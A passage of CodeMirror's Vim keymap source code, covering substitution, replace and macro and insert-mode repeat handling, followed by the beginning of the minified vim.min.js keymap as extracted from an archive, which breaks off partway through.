        var global = false; // True to replace all instances on a line,
false to replace only 1.
        if (tokens.length) {
          regexPart = tokens[0];
          if (getOption('pcre') && regexPart !==
'') {
              regexPart = new RegExp(regexPart).source; //normalize not
escaped characters
          }
          replacePart = tokens[1];
          if (regexPart && regexPart[regexPart.length - 1] ===
'$') {
            regexPart = regexPart.slice(0, regexPart.length - 1) +
'\\n';
            replacePart = replacePart ? replacePart + '\n' :
'\n';
          }
          if (replacePart !== undefined) {
            if (getOption('pcre')) {
              replacePart =
unescapeRegexReplace(replacePart.replace(/([^\\])&/g,"$1$$&"));
            } else {
              replacePart = translateRegexReplace(replacePart);
            }
            vimGlobalState.lastSubstituteReplacePart = replacePart;
          }
          trailing = tokens[2] ? tokens[2].split(' ') : [];
        } else {
          // either the argString is empty or its of the form '
hello/world'
          // actually splitBySlash returns a list of tokens
          // only if the string starts with a '/'
          if (argString && argString.length) {
            showConfirm(cm, 'Substitutions should be of the form
' +
                ':s/pattern/replace/');
            return;
          }
        }
        // After the 3rd slash, we can have flags followed by a space
followed
        // by count.
        if (trailing) {
          flagsPart = trailing[0];
          count = parseInt(trailing[1]);
          if (flagsPart) {
            if (flagsPart.indexOf('c') != -1) {
              confirm = true;
              flagsPart.replace('c', '');
            }
            if (flagsPart.indexOf('g') != -1) {
              global = true;
              flagsPart.replace('g', '');
            }
            if (getOption('pcre')) {
               regexPart = regexPart + '/' + flagsPart;
            } else {
               regexPart = regexPart.replace(/\//g, "\\/") +
'/' + flagsPart;
            }
          }
        }
        if (regexPart) {
          // If regex part is empty, then use the previous query. Otherwise
use
          // the regex part as the new query.
          try {
            updateSearchQuery(cm, regexPart, true /** ignoreCase */,
              true /** smartCase */);
          } catch (e) {
            showConfirm(cm, 'Invalid regex: ' + regexPart);
            return;
          }
        }
        replacePart = replacePart ||
vimGlobalState.lastSubstituteReplacePart;
        if (replacePart === undefined) {
          showConfirm(cm, 'No previous substitute regular
expression');
          return;
        }
        var state = getSearchState(cm);
        var query = state.getQuery();
        var lineStart = (params.line !== undefined) ? params.line :
cm.getCursor().line;
        var lineEnd = params.lineEnd || lineStart;
        if (lineStart == cm.firstLine() && lineEnd ==
cm.lastLine()) {
          lineEnd = Infinity;
        }
        if (count) {
          lineStart = lineEnd;
          lineEnd = lineStart + count - 1;
        }
        var startPos = clipCursorToContent(cm, Pos(lineStart, 0));
        var cursor = cm.getSearchCursor(query, startPos);
        doReplace(cm, confirm, global, lineStart, lineEnd, cursor, query,
replacePart, params.callback);
      },
      redo: CodeMirror.commands.redo,
      undo: CodeMirror.commands.undo,
      write: function(cm) {
        if (CodeMirror.commands.save) {
          // If a save command is defined, call it.
          CodeMirror.commands.save(cm);
        } else if (cm.save) {
          // Saves to text area if no save command is defined and cm.save()
is available.
          cm.save();
        }
      },
      nohlsearch: function(cm) {
        clearSearchHighlight(cm);
      },
      yank: function (cm) {
        var cur = copyCursor(cm.getCursor());
        var line = cur.line;
        var lineText = cm.getLine(line);
        vimGlobalState.registerController.pushText(
          '0', 'yank', lineText, true, true);
      },
      delmarks: function(cm, params) {
        if (!params.argString || !trim(params.argString)) {
          showConfirm(cm, 'Argument required');
          return;
        }

        var state = cm.state.vim;
        var stream = new CodeMirror.StringStream(trim(params.argString));
        while (!stream.eol()) {
          stream.eatSpace();

          // Record the streams position at the beginning of the loop for
use
          // in error messages.
          var count = stream.pos;

          if (!stream.match(/[a-zA-Z]/, false)) {
            showConfirm(cm, 'Invalid argument: ' +
params.argString.substring(count));
            return;
          }

          var sym = stream.next();
          // Check if this symbol is part of a range
          if (stream.match('-', true)) {
            // This symbol is part of a range.

            // The range must terminate at an alphabetic character.
            if (!stream.match(/[a-zA-Z]/, false)) {
              showConfirm(cm, 'Invalid argument: ' +
params.argString.substring(count));
              return;
            }

            var startMark = sym;
            var finishMark = stream.next();
            // The range must terminate at an alphabetic character which
            // shares the same case as the start of the range.
            if (isLowerCase(startMark) && isLowerCase(finishMark)
||
                isUpperCase(startMark) && isUpperCase(finishMark))
{
              var start = startMark.charCodeAt(0);
              var finish = finishMark.charCodeAt(0);
              if (start >= finish) {
                showConfirm(cm, 'Invalid argument: ' +
params.argString.substring(count));
                return;
              }

              // Because marks are always ASCII values, and we have
              // determined that they are the same case, we can use
              // their char codes to iterate through the defined range.
              for (var j = 0; j <= finish - start; j++) {
                var mark = String.fromCharCode(start + j);
                delete state.marks[mark];
              }
            } else {
              showConfirm(cm, 'Invalid argument: ' + startMark +
'-');
              return;
            }
          } else {
            // This symbol is a valid mark, and is not part of a range.
            delete state.marks[sym];
          }
        }
      }
    };

    var exCommandDispatcher = new ExCommandDispatcher();

    /**
    * @param {CodeMirror} cm CodeMirror instance we are in.
    * @param {boolean} confirm Whether to confirm each replace.
    * @param {Cursor} lineStart Line to start replacing from.
    * @param {Cursor} lineEnd Line to stop replacing at.
    * @param {RegExp} query Query for performing matches with.
    * @param {string} replaceWith Text to replace matches with. May contain
$1,
    *     $2, etc for replacing captured groups using Javascript replace.
    * @param {function()} callback A callback for when the replace is done.
    */
    function doReplace(cm, confirm, global, lineStart, lineEnd,
searchCursor, query,
        replaceWith, callback) {
      // Set up all the functions.
      cm.state.vim.exMode = true;
      var done = false;
      var lastPos = searchCursor.from();
      function replaceAll() {
        cm.operation(function() {
          while (!done) {
            replace();
            next();
          }
          stop();
        });
      }
      function replace() {
        var text = cm.getRange(searchCursor.from(), searchCursor.to());
        var newText = text.replace(query, replaceWith);
        searchCursor.replace(newText);
      }
      function next() {
        // The below only loops to skip over multiple occurrences on the
same
        // line when 'global' is not true.
        while(searchCursor.findNext() &&
              isInRange(searchCursor.from(), lineStart, lineEnd)) {
          if (!global && lastPos &&
searchCursor.from().line == lastPos.line) {
            continue;
          }
          cm.scrollIntoView(searchCursor.from(), 30);
          cm.setSelection(searchCursor.from(), searchCursor.to());
          lastPos = searchCursor.from();
          done = false;
          return;
        }
        done = true;
      }
      function stop(close) {
        if (close) { close(); }
        cm.focus();
        if (lastPos) {
          cm.setCursor(lastPos);
          var vim = cm.state.vim;
          vim.exMode = false;
          vim.lastHPos = vim.lastHSPos = lastPos.ch;
        }
        if (callback) { callback(); }
      }
      function onPromptKeyDown(e, _value, close) {
        // Swallow all keys.
        CodeMirror.e_stop(e);
        var keyName = CodeMirror.keyName(e);
        switch (keyName) {
          case 'Y':
            replace(); next(); break;
          case 'N':
            next(); break;
          case 'A':
            // replaceAll contains a call to close of its own. We
don't want it
            // to fire too early or multiple times.
            var savedCallback = callback;
            callback = undefined;
            cm.operation(replaceAll);
            callback = savedCallback;
            break;
          case 'L':
            replace();
            // fall through and exit.
          case 'Q':
          case 'Esc':
          case 'Ctrl-C':
          case 'Ctrl-[':
            stop(close);
            break;
        }
        if (done) { stop(close); }
        return true;
      }

      // Actually do replace.
      next();
      if (done) {
        showConfirm(cm, 'No matches for ' + query.source);
        return;
      }
      if (!confirm) {
        replaceAll();
        if (callback) { callback(); }
        return;
      }
      showPrompt(cm, {
        prefix: 'replace with <strong>' + replaceWith +
'</strong> (y/n/a/q/l)',
        onKeyDown: onPromptKeyDown
      });
    }

    CodeMirror.keyMap.vim = {
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    function exitInsertMode(cm) {
      var vim = cm.state.vim;
      var macroModeState = vimGlobalState.macroModeState;
      var insertModeChangeRegister =
vimGlobalState.registerController.getRegister('.');
      var isPlaying = macroModeState.isPlaying;
      var lastChange = macroModeState.lastInsertModeChanges;
      if (!isPlaying) {
        cm.off('change', onChange);
        CodeMirror.off(cm.getInputField(), 'keydown',
onKeyEventTargetKeyDown);
      }
      if (!isPlaying && vim.insertModeRepeat > 1) {
        // Perform insert mode repeat for commands like 3,a and 3,o.
        repeatLastEdit(cm, vim, vim.insertModeRepeat - 1,
            true /** repeatForInsert */);
        vim.lastEditInputState.repeatOverride = vim.insertModeRepeat;
      }
      delete vim.insertModeRepeat;
      vim.insertMode = false;
      cm.setCursor(cm.getCursor().line, cm.getCursor().ch-1);
      cm.setOption('keyMap', 'vim');
      cm.setOption('disableInput', true);
      cm.toggleOverwrite(false); // exit replace mode if we were in it.
      // update the ". register before exiting insert mode
     
insertModeChangeRegister.setText(lastChange.changes.join(''));
      CodeMirror.signal(cm, "vim-mode-change", {mode:
"normal"});
      if (macroModeState.isRecording) {
        logInsertModeChange(macroModeState);
      }
    }

    function _mapCommand(command) {
      defaultKeymap.unshift(command);
    }

    function mapCommand(keys, type, name, args, extra) {
      var command = {keys: keys, type: type};
      command[type] = name;
      command[type + "Args"] = args;
      for (var key in extra)
        command[key] = extra[key];
      _mapCommand(command);
    }

    // The timeout in milliseconds for the two-character ESC keymap should
be
    // adjusted according to your typing speed to prevent false positives.
    defineOption('insertModeEscKeysTimeout', 200,
'number');

    CodeMirror.keyMap['vim-insert'] = {
      // TODO: override navigation keys so that Esc will cancel automatic
      // indentation from o, O, i_<CR>
      fallthrough: ['default'],
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    CodeMirror.keyMap['vim-replace'] = {
      'Backspace': 'goCharLeft',
      fallthrough: ['vim-insert'],
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    function executeMacroRegister(cm, vim, macroModeState, registerName) {
      var register =
vimGlobalState.registerController.getRegister(registerName);
      if (registerName == ':') {
        // Read-only register containing last Ex command.
        if (register.keyBuffer[0]) {
          exCommandDispatcher.processCommand(cm, register.keyBuffer[0]);
        }
        macroModeState.isPlaying = false;
        return;
      }
      var keyBuffer = register.keyBuffer;
      var imc = 0;
      macroModeState.isPlaying = true;
      macroModeState.replaySearchQueries = register.searchQueries.slice(0);
      for (var i = 0; i < keyBuffer.length; i++) {
        var text = keyBuffer[i];
        var match, key;
        while (text) {
          // Pull off one command key, which is either a single character
          // or a special sequence wrapped in '<' and
'>', e.g. '<Space>'.
          match = (/<\w+-.+?>|<\w+>|./).exec(text);
          key = match[0];
          text = text.substring(match.index + key.length);
          CodeMirror.Vim.handleKey(cm, key, 'macro');
          if (vim.insertMode) {
            var changes = register.insertModeChanges[imc++].changes;
            vimGlobalState.macroModeState.lastInsertModeChanges.changes =
                changes;
            repeatInsertModeChanges(cm, changes, 1);
            exitInsertMode(cm);
          }
        }
      }
      macroModeState.isPlaying = false;
    }

    function logKey(macroModeState, key) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register =
vimGlobalState.registerController.getRegister(registerName);
      if (register) {
        register.pushText(key);
      }
    }

    function logInsertModeChange(macroModeState) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register =
vimGlobalState.registerController.getRegister(registerName);
      if (register && register.pushInsertModeChanges) {
       
register.pushInsertModeChanges(macroModeState.lastInsertModeChanges);
      }
    }

    function logSearchQuery(macroModeState, query) {
      if (macroModeState.isPlaying) { return; }
      var registerName = macroModeState.latestRegister;
      var register =
vimGlobalState.registerController.getRegister(registerName);
      if (register && register.pushSearchQuery) {
        register.pushSearchQuery(query);
      }
    }

    /**
     * Listens for changes made in insert mode.
     * Should only be active in insert mode.
     */
    function onChange(cm, changeObj) {
      var macroModeState = vimGlobalState.macroModeState;
      var lastChange = macroModeState.lastInsertModeChanges;
      if (!macroModeState.isPlaying) {
        while(changeObj) {
          lastChange.expectCursorActivityForChange = true;
          if (lastChange.ignoreCount > 1) {
            lastChange.ignoreCount--;
          } else if (changeObj.origin == '+input' ||
changeObj.origin == 'paste'
              || changeObj.origin === undefined /* only in testing */) {
            var selectionCount = cm.listSelections().length;
            if (selectionCount > 1)
              lastChange.ignoreCount = selectionCount;
            var text = changeObj.text.join('\n');
            if (lastChange.maybeReset) {
              lastChange.changes = [];
              lastChange.maybeReset = false;
            }
            if (text) {
              if (cm.state.overwrite && !/\n/.test(text)) {
                lastChange.changes.push([text]);
              } else {
                lastChange.changes.push(text);
              }
            }
          }
          // Change objects may be chained with next.
          changeObj = changeObj.next;
        }
      }
    }

    /**
    * Listens for any kind of cursor activity on CodeMirror.
    */
    function onCursorActivity(cm) {
      var vim = cm.state.vim;
      if (vim.insertMode) {
        // Tracking cursor activity in insert mode (for macro support).
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.isPlaying) { return; }
        var lastChange = macroModeState.lastInsertModeChanges;
        if (lastChange.expectCursorActivityForChange) {
          lastChange.expectCursorActivityForChange = false;
        } else {
          // Cursor moved outside the context of an edit. Reset the change.
          lastChange.maybeReset = true;
        }
      } else if (!cm.curOp.isVimOp) {
        handleExternalSelection(cm, vim);
      }
      if (vim.visualMode) {
        updateFakeCursor(cm);
      }
    }
    /**
     * Keeps track of a fake cursor to support visual mode cursor behavior.
     */
    function updateFakeCursor(cm) {
      var className = 'cm-animate-fat-cursor';
      var vim = cm.state.vim;
      var from = clipCursorToContent(cm, copyCursor(vim.sel.head));
      var to = offsetCursor(from, 0, 1);
      clearFakeCursor(vim);
      // In visual mode, the cursor may be positioned over EOL.
      if (from.ch == cm.getLine(from.line).length) {
        var widget = document.createElement("span");
        widget.textContent = "\u00a0";
        widget.className = className;
        vim.fakeCursorBookmark = cm.setBookmark(from, {widget: widget});
      } else {
        vim.fakeCursor = cm.markText(from, to, {className: className});
      }
    }
    function clearFakeCursor(vim) {
      if (vim.fakeCursor) {
        vim.fakeCursor.clear();
        vim.fakeCursor = null;
      }
      if (vim.fakeCursorBookmark) {
        vim.fakeCursorBookmark.clear();
        vim.fakeCursorBookmark = null;
      }
    }
    function handleExternalSelection(cm, vim) {
      var anchor = cm.getCursor('anchor');
      var head = cm.getCursor('head');
      // Enter or exit visual mode to match mouse selection.
      if (vim.visualMode && !cm.somethingSelected()) {
        exitVisualMode(cm, false);
      } else if (!vim.visualMode && !vim.insertMode &&
cm.somethingSelected()) {
        vim.visualMode = true;
        vim.visualLine = false;
        CodeMirror.signal(cm, "vim-mode-change", {mode:
"visual"});
      }
      if (vim.visualMode) {
        // Bind CodeMirror selection model to vim selection model.
        // Mouse selections are considered visual characterwise.
        var headOffset = !cursorIsBefore(head, anchor) ? -1 : 0;
        var anchorOffset = cursorIsBefore(head, anchor) ? -1 : 0;
        head = offsetCursor(head, 0, headOffset);
        anchor = offsetCursor(anchor, 0, anchorOffset);
        vim.sel = {
          anchor: anchor,
          head: head
        };
        updateMark(cm, vim, '<', cursorMin(head, anchor));
        updateMark(cm, vim, '>', cursorMax(head, anchor));
      } else if (!vim.insertMode) {
        // Reset lastHPos if selection was modified by something outside of
vim mode e.g. by mouse.
        vim.lastHPos = cm.getCursor().ch;
      }
    }

    /** Wrapper for special keys pressed in insert mode */
    function InsertModeKey(keyName) {
      this.keyName = keyName;
    }

    /**
    * Handles raw key down events from the text area.
    * - Should only be active in insert mode.
    * - For recording deletes in insert mode.
    */
    function onKeyEventTargetKeyDown(e) {
      var macroModeState = vimGlobalState.macroModeState;
      var lastChange = macroModeState.lastInsertModeChanges;
      var keyName = CodeMirror.keyName(e);
      if (!keyName) { return; }
      function onKeyFound() {
        if (lastChange.maybeReset) {
          lastChange.changes = [];
          lastChange.maybeReset = false;
        }
        lastChange.changes.push(new InsertModeKey(keyName));
        return true;
      }
      if (keyName.indexOf('Delete') != -1 ||
keyName.indexOf('Backspace') != -1) {
        CodeMirror.lookupKey(keyName, 'vim-insert', onKeyFound);
      }
    }

    /**
     * Repeats the last edit, which includes exactly 1 command and at most
1
     * insert. Operator and motion commands are read from
lastEditInputState,
     * while action commands are read from lastEditActionCommand.
     *
     * If repeatForInsert is true, then the function was called by
     * exitInsertMode to repeat the insert mode changes the user just made.
The
     * corresponding enterInsertMode call was made with a count.
     */
    function repeatLastEdit(cm, vim, repeat, repeatForInsert) {
      var macroModeState = vimGlobalState.macroModeState;
      macroModeState.isPlaying = true;
      var isAction = !!vim.lastEditActionCommand;
      var cachedInputState = vim.inputState;
      function repeatCommand() {
        if (isAction) {
          commandDispatcher.processAction(cm, vim,
vim.lastEditActionCommand);
        } else {
          commandDispatcher.evalInput(cm, vim);
        }
      }
      function repeatInsert(repeat) {
        if (macroModeState.lastInsertModeChanges.changes.length > 0) {
          // For some reason, repeat cw in desktop VIM does not repeat
          // insert mode changes. Will conform to that behavior.
          repeat = !vim.lastEditActionCommand ? 1 : repeat;
          var changeObject = macroModeState.lastInsertModeChanges;
          repeatInsertModeChanges(cm, changeObject.changes, repeat);
        }
      }
      vim.inputState = vim.lastEditInputState;
      if (isAction &&
vim.lastEditActionCommand.interlaceInsertRepeat) {
        // o and O repeat have to be interlaced with insert repeats so that
the
        // insertions appear on separate lines instead of the last line.
        for (var i = 0; i < repeat; i++) {
          repeatCommand();
          repeatInsert(1);
        }
      } else {
        if (!repeatForInsert) {
          // Hack to get the cursor to end up at the right place. If I is
          // repeated in insert mode repeat, cursor will be 1 insert
          // change set left of where it should be.
          repeatCommand();
        }
        repeatInsert(repeat);
      }
      vim.inputState = cachedInputState;
      if (vim.insertMode && !repeatForInsert) {
        // Don't exit insert mode twice. If repeatForInsert is set,
then we
        // were called by an exitInsertMode call lower on the stack.
        exitInsertMode(cm);
      }
      macroModeState.isPlaying = false;
    }

    function repeatInsertModeChanges(cm, changes, repeat) {
      function keyHandler(binding) {
        if (typeof binding == 'string') {
          CodeMirror.commands[binding](cm);
        } else {
          binding(cm);
        }
        return true;
      }
      var head = cm.getCursor('head');
      var visualBlock =
vimGlobalState.macroModeState.lastInsertModeChanges.visualBlock;
      if (visualBlock) {
        // Set up block selection again for repeating the changes.
        selectForInsert(cm, head, visualBlock + 1);
        repeat = cm.listSelections().length;
        cm.setCursor(head);
      }
      for (var i = 0; i < repeat; i++) {
        if (visualBlock) {
          cm.setCursor(offsetCursor(head, i, 0));
        }
        for (var j = 0; j < changes.length; j++) {
          var change = changes[j];
          if (change instanceof InsertModeKey) {
            CodeMirror.lookupKey(change.keyName, 'vim-insert',
keyHandler);
          } else if (typeof change == "string") {
            var cur = cm.getCursor();
            cm.replaceRange(change, cur, cur);
          } else {
            var start = cm.getCursor();
            var end = offsetCursor(start, 0, change[0].length);
            cm.replaceRange(change[0], start, end);
          }
        }
      }
      if (visualBlock) {
        cm.setCursor(offsetCursor(head, 0, 1));
      }
    }

    resetVimGlobalState();
    return vimApi;
  };
  // Initialize Vim and make it available as an API.
  CodeMirror.Vim = Vim();
});
PKA��[�v��7�7codemirror/keymap/vim.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../lib/codemirror"),require("../addon/search/searchcursor"),require("../addon/dialog/dialog"),require("../addon/edit/matchbrackets.js")):"function"==typeof
define&&define.amd?define(["../lib/codemirror","../addon/search/searchcursor","../addon/dialog/dialog","../addon/edit/matchbrackets"],a):a(CodeMirror)})((function(a){"use
strict";var
b=[{keys:"<Left>",type:"keyToKey",toKeys:"h"},{keys:"<Right>",type:"keyToKey",toKeys:"l"},{keys:"<Up>",type:"keyToKey",toKeys:"k"},{keys:"<Down>",type:"keyToKey",toKeys:"j"},{keys:"<Space>",type:"keyToKey",toKeys:"l"},{keys:"<BS>",type:"keyToKey",toKeys:"h",context:"normal"},{keys:"<Del>",type:"keyToKey",toKeys:"x",context:"normal"},{keys:"<C-Space>",type:"keyToKey",toKeys:"W"},{keys:"<C-BS>",type:"keyToKey",toKeys:"B",context:"normal"},{keys:"<S-Space>",type:"keyToKey",toKeys:"w"},{keys:"<S-BS>",type:"keyToKey",toKeys:"b",context:"normal"},{keys:"<C-n>",type:"keyToKey",toKeys:"j"},{keys:"<C-p>",type:"keyToKey",toKeys:"k"},{keys:"<C-[>",type:"keyToKey",toKeys:"<Esc>"},{keys:"<C-c>",type:"keyToKey",toKeys:"<Esc>"},{keys:"<C-[>",type:"keyToKey",toKeys:"<Esc>",context:"insert"},{keys:"<C-c>",type:"keyToKey",toKeys:"<Esc>",context:"insert"},{keys:"s",type:"keyToKey",toKeys:"cl",context:"normal"},{keys:"s",type:"keyToKey",toKeys:"c",context:"visual"},{keys:"S",type:"keyToKey",toKeys:"cc",context:"normal"},{keys:"S",type:"keyToKey",toKeys:"VdO",context:"visual"},{keys:"<Home>",type:"keyToKey",toKeys:"0"},{keys:"<End>",type:"keyToKey",toKeys:"$"},{keys:"<PageUp>",type:"keyToKey",toKeys:"<C-b>"},{keys:"<PageDown>",type:"keyToKey",toKeys:"<C-f>"},{keys:"<CR>",type:"keyToKey",toKeys:"j^",context:"normal"},{keys:"<Ins>",type:"action",action:"toggleOverwrite",context:"insert"},{keys:"H",type:"motion",motion:"moveToTopLine",motionArgs:{linewise:!0,toJumplist:!0}},{keys:"M",type:"motion",motion:"moveToMiddleLine",motionArgs:{linewise:!0,toJumplist:!0}},{keys:"L",type:"motion",motion:"moveToBottomLine",motionArgs:{linewise:!0,toJumplist:!0}},{keys:"h",type:"motion",motion:"moveByCharacters",motionArgs:{forward:!1}},{keys:"l",type:"motion",motion:"moveByCharacters",motionArgs:{forward:!0}},{keys:"j",type:"motion",motion:"moveByLines",motionArgs:{forward:!0,linewise:!0}},{keys:"k",type:"motion",motion:"moveByLines",motionArgs:{forward:!1,linewise:!0}},{keys:"gj",type:"motion",motion:"moveByDisplayLines",motionArgs:{forward:!0}},{keys:"gk",type:"motion",motion:"moveByDisplayLines",motionArgs:{forward:!1}},{keys:"w",type:"motion",motion:"moveByWords",motionArgs:{forward:!0,wordEnd:!1}},{keys:"W",type:"motion",motion:"moveByWords",motionArgs:{forward:!0,wordEnd:!1,bigWord:!0}},{keys:"e",type:"motion",motion:"moveByWords",motionArgs:{forward:!0,wordEnd:!0,inclusive:!0}},{keys:"E",type:"motion",motion:"moveByWords",motionArgs:{forward:!0,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:"b",type:"motion",motion:"moveByWords",motionArgs:{forward:!1,wordEnd:!1}},{keys:"B",type:"motion",motion:"moveByWords",motionArgs:{forward:!1,wordEnd:!1,bigWord:!0}},{keys:"ge",type:"motion",motion:"moveByWords",motionArgs:{forward:!1,wordEnd:!0,inclusive:!0}},{keys:"gE",type:"motion",motion:"moveByWords",motionArgs:{forward:!1,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:"{",type:"motion",motion:"moveByParagraph",motionArgs:{forward:!1,toJumplist:!0}},{keys:"}",type:"motion",motion:"moveByParagraph",motionArgs:{forward:!0,toJumplist:!0}},{keys:"(",type:"motion",motion:"moveBySentence",motionArgs:{forward:!1}},{keys:")",type:"motion",motion:"moveBySentence",motionArgs:{forward:!0}},{keys:"<C-f>",type:"motion",motion:"moveByPage",motionArgs:{forward:!0}},{keys:"<C-b>",type:"motion",motion:"moveByPage",motionArgs:{forward:!1}},{keys:"<C-d>",type:"motion",motion:"moveByScroll",motionArgs:{forward:!0,explicitRepeat:!0}},{keys:"<C-u>",type:"motion",motion:"moveByScroll",motionArgs:{forward:!1,explicitRepeat:!0}},{keys:"gg",type:"motion",motion:"moveToLineOrEdgeOfDocument",motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:"G",type:"motion",motion:"moveToLineOrEdgeOfDocument",motionArgs:{forward:!0,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:"0",type:"motion",motion:"moveToStartOfLine"},{keys:"^",type:"motion",motion:"moveToFirstNonWhiteSpaceCharacter"},{keys:"+",type:"motion",motion:"moveByLines",motionArgs:{forward:!0,toFirstChar:!0}},{keys:"-",type:"motion",motion:"moveByLines",motionArgs:{forward:!1,toFirstChar:!0}},{keys:"_",type:"motion",motion:"moveByLines",motionArgs:{forward:!0,toFirstChar:!0,repeatOffset:-1}},{keys:"$",type:"motion",motion:"moveToEol",motionArgs:{inclusive:!0}},{keys:"%",type:"motion",motion:"moveToMatchedSymbol",motionArgs:{inclusive:!0,toJumplist:!0}},{keys:"f<character>",type:"motion",motion:"moveToCharacter",motionArgs:{forward:!0,inclusive:!0}},{keys:"F<character>",type:"motion",motion:"moveToCharacter",motionArgs:{forward:!1}},{keys:"t<character>",type:"motion",motion:"moveTillCharacter",motionArgs:{forward:!0,inclusive:!0}},{keys:"T<character>",type:"motion",motion:"moveTillCharacter",motionArgs:{forward:!1}},{keys:";",type:"motion",motion:"repeatLastCharacterSearch",motionArgs:{forward:!0}},{keys:",",type:"motion",motion:"repeatLastCharacterSearch",motionArgs:{forward:!1}},{keys:"'<character>",type:"motion",motion:"goToMark",motionArgs:{toJumplist:!0,linewise:!0}},{keys:"`<character>",type:"motion",motion:"goToMark",motionArgs:{toJumplist:!0}},{keys:"]`",type:"motion",motion:"jumpToMark",motionArgs:{forward:!0}},{keys:"[`",type:"motion",motion:"jumpToMark",motionArgs:{forward:!1}},{keys:"]'",type:"motion",motion:"jumpToMark",motionArgs:{forward:!0,linewise:!0}},{keys:"['",type:"motion",motion:"jumpToMark",motionArgs:{forward:!1,linewise:!0}},{keys:"]p",type:"action",action:"paste",isEdit:!0,actionArgs:{after:!0,isEdit:!0,matchIndent:!0}},{keys:"[p",type:"action",action:"paste",isEdit:!0,actionArgs:{after:!1,isEdit:!0,matchIndent:!0}},{keys:"]<character>",type:"motion",motion:"moveToSymbol",motionArgs:{forward:!0,toJumplist:!0}},{keys:"[<character>",type:"motion",motion:"moveToSymbol",motionArgs:{forward:!1,toJumplist:!0}},{keys:"|",type:"motion",motion:"moveToColumn"},{keys:"o",type:"motion",motion:"moveToOtherHighlightedEnd",context:"visual"},{keys:"O",type:"motion",motion:"moveToOtherHighlightedEnd",motionArgs:{sameLine:!0},context:"visual"},{keys:"d",type:"operator",operator:"delete"},{keys:"y",type:"operator",operator:"yank"},{keys:"c",type:"operator",operator:"change"},{keys:"=",type:"operator",operator:"indentAuto"},{keys:">",type:"operator",operator:"indent",operatorArgs:{indentRight:!0}},{keys:"<",type:"operator",operator:"indent",operatorArgs:{indentRight:!1}},{keys:"g~",type:"operator",operator:"changeCase"},{keys:"gu",type:"operator",operator:"changeCase",operatorArgs:{toLower:!0},isEdit:!0},{keys:"gU",type:"operator",operator:"changeCase",operatorArgs:{toLower:!1},isEdit:!0},{keys:"n",type:"motion",motion:"findNext",motionArgs:{forward:!0,toJumplist:!0}},{keys:"N",type:"motion",motion:"findNext",motionArgs:{forward:!1,toJumplist:!0}},{keys:"x",type:"operatorMotion",operator:"delete",motion:"moveByCharacters",motionArgs:{forward:!0},operatorMotionArgs:{visualLine:!1}},{keys:"X",type:"operatorMotion",operator:"delete",motion:"moveByCharacters",motionArgs:{forward:!1},operatorMotionArgs:{visualLine:!0}},{keys:"D",type:"operatorMotion",operator:"delete",motion:"moveToEol",motionArgs:{inclusive:!0},context:"normal"},{keys:"D",type:"operator",operator:"delete",operatorArgs:{linewise:!0},context:"visual"},{keys:"Y",type:"operatorMotion",operator:"yank",motion:"expandToLine",motionArgs:{linewise:!0},context:"normal"},{keys:"Y",type:"operator",operator:"yank",operatorArgs:{linewise:!0},context:"visual"},{keys:"C",type:"operatorMotion",operator:"change",motion:"moveToEol",motionArgs:{inclusive:!0},context:"normal"},{keys:"C",type:"operator",operator:"change",operatorArgs:{linewise:!0},context:"visual"},{keys:"~",type:"operatorMotion",operator:"changeCase",motion:"moveByCharacters",motionArgs:{forward:!0},operatorArgs:{shouldMoveCursor:!0},context:"normal"},{keys:"~",type:"operator",operator:"changeCase",context:"visual"},{keys:"<C-w>",type:"operatorMotion",operator:"delete",motion:"moveByWords",motionArgs:{forward:!1,wordEnd:!1},context:"insert"},{keys:"<C-w>",type:"idle",context:"normal"},{keys:"<C-i>",type:"action",action:"jumpListWalk",actionArgs:{forward:!0}},{keys:"<C-o>",type:"action",action:"jumpListWalk",actionArgs:{forward:!1}},{keys:"<C-e>",type:"action",action:"scroll",actionArgs:{forward:!0,linewise:!0}},{keys:"<C-y>",type:"action",action:"scroll",actionArgs:{forward:!1,linewise:!0}},{keys:"a",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"charAfter"},context:"normal"},{keys:"A",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"eol"},context:"normal"},{keys:"A",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"endOfSelectedArea"},context:"visual"},{keys:"i",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"inplace"},context:"normal"},{keys:"gi",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"lastEdit"},context:"normal"},{keys:"I",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"firstNonBlank"},context:"normal"},{keys:"gI",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"bol"},context:"normal"},{keys:"I",type:"action",action:"enterInsertMode",isEdit:!0,actionArgs:{insertAt:"startOfSelectedArea"},context:"visual"},{keys:"o",type:"action",action:"newLineAndEnterInsertMode",isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!0},context:"normal"},{keys:"O",type:"action",action:"newLineAndEnterInsertMode",isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!1},context:"normal"},{keys:"v",type:"action",action:"toggleVisualMode"},{keys:"V",type:"action",action:"toggleVisualMode",actionArgs:{linewise:!0}},{keys:"<C-v>",type:"action",action:"toggleVisualMode",actionArgs:{blockwise:!0}},{keys:"<C-q>",type:"action",action:"toggleVisualMode",actionArgs:{blockwise:!0}},{keys:"gv",type:"action",action:"reselectLastSelection"},{keys:"J",type:"action",action:"joinLines",isEdit:!0},{keys:"gJ",type:"action",action:"joinLines",actionArgs:{keepSpaces:!0},isEdit:!0},{keys:"p",type:"action",action:"paste",isEdit:!0,actionArgs:{after:!0,isEdit:!0}},{keys:"P",type:"action",action:"paste",isEdit:!0,actionArgs:{after:!1,isEdit:!0}},{keys:"r<character>",type:"action",action:"replace",isEdit:!0},{keys:"@<character>",type:"action",action:"replayMacro"},{keys:"q<character>",type:"action",action:"